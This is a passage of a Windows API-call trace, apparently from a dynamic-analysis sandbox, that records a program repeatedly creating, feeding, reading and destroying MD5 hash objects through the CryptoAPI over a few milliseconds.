	[0050.342] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.342] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.342] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.342] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.342] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.342] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.342] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.342] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.342] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.342] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.342] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.343] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.343] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.343] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.343] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.343] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.343] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.343] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.343] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.343] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.343] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.343] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.343] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.343] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.344] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.344] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.344] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.344] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.344] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.344] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.344] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.344] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.344] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.344] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.344] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.344] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.344] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.344] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.344] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.345] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.345] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.345] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.345] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.345] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.345] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.345] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.345] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.345] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.345] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.345] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.345] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.345] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.345] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.346] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.346] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.346] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.346] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.346] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.346] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.346] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.346] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.346] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.346] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.346] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.346] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.346] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.346] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.347] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.347] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.347] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.347] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.347] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.347] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.347] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.347] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.347] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.347] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.347] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.347] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.347] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.347] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.347] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.348] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.348] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.348] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.348] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.348] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.348] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.348] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.348] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.348] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.348] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.348] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.348] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.348] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.348] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.348] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.348] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.349] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.349] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.349] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.349] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.349] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.349] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.349] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.349] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.349] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.349] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.349] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.349] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.349] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.349] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.350] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.350] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.350] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.350] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.350] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.350] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.350] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.350] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.350] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.350] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.350] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.350] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.350] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.350] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.350] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.351] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.351] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.351] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.351] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.351] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.351] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.351] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.351] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.351] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.351] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.351] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.351] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.351] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.351] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.351] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.352] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.352] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.352] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.352] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.352] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.352] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.352] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.352] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.352] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.352] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.352] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.352] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.352] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.353] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.353] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.353] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.353] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.353] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.353] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.353] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.353] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.353] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.353] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.353] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.353] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.353] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.353] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.354] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.354] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.354] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.354] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.354] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.354] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.354] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.354] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.354] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.354] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.354] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.354] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.354] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.354] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.355] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.355] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.355] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.355] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.355] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.355] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.355] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.355] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.355] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.355] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.355] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.355] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.355] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.355] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.356] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.356] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.356] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.356] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.356] CryptDestroyHash (hHash=0x25d8d0) returned 1
	[0050.356] CryptCreateHash (in: hProv=0x25d3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x113bb0 | out: phHash=0x113bb0) returned 1
	[0050.356] CryptHashData (hHash=0x25d8d0, pbData=0x113bb8, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0050.357] CryptGetHashParam (in: hHash=0x25d8d0, dwParam=0x2, pbData=0x113be8, pdwDataLen=0x113c88, dwFlags=0x0 | out: pbData=0x113be8, pdwDataLen=0x113c88) returned 1
	[0050.357] CryptDestroyHash (hHash=0x25d8d0) returned 1
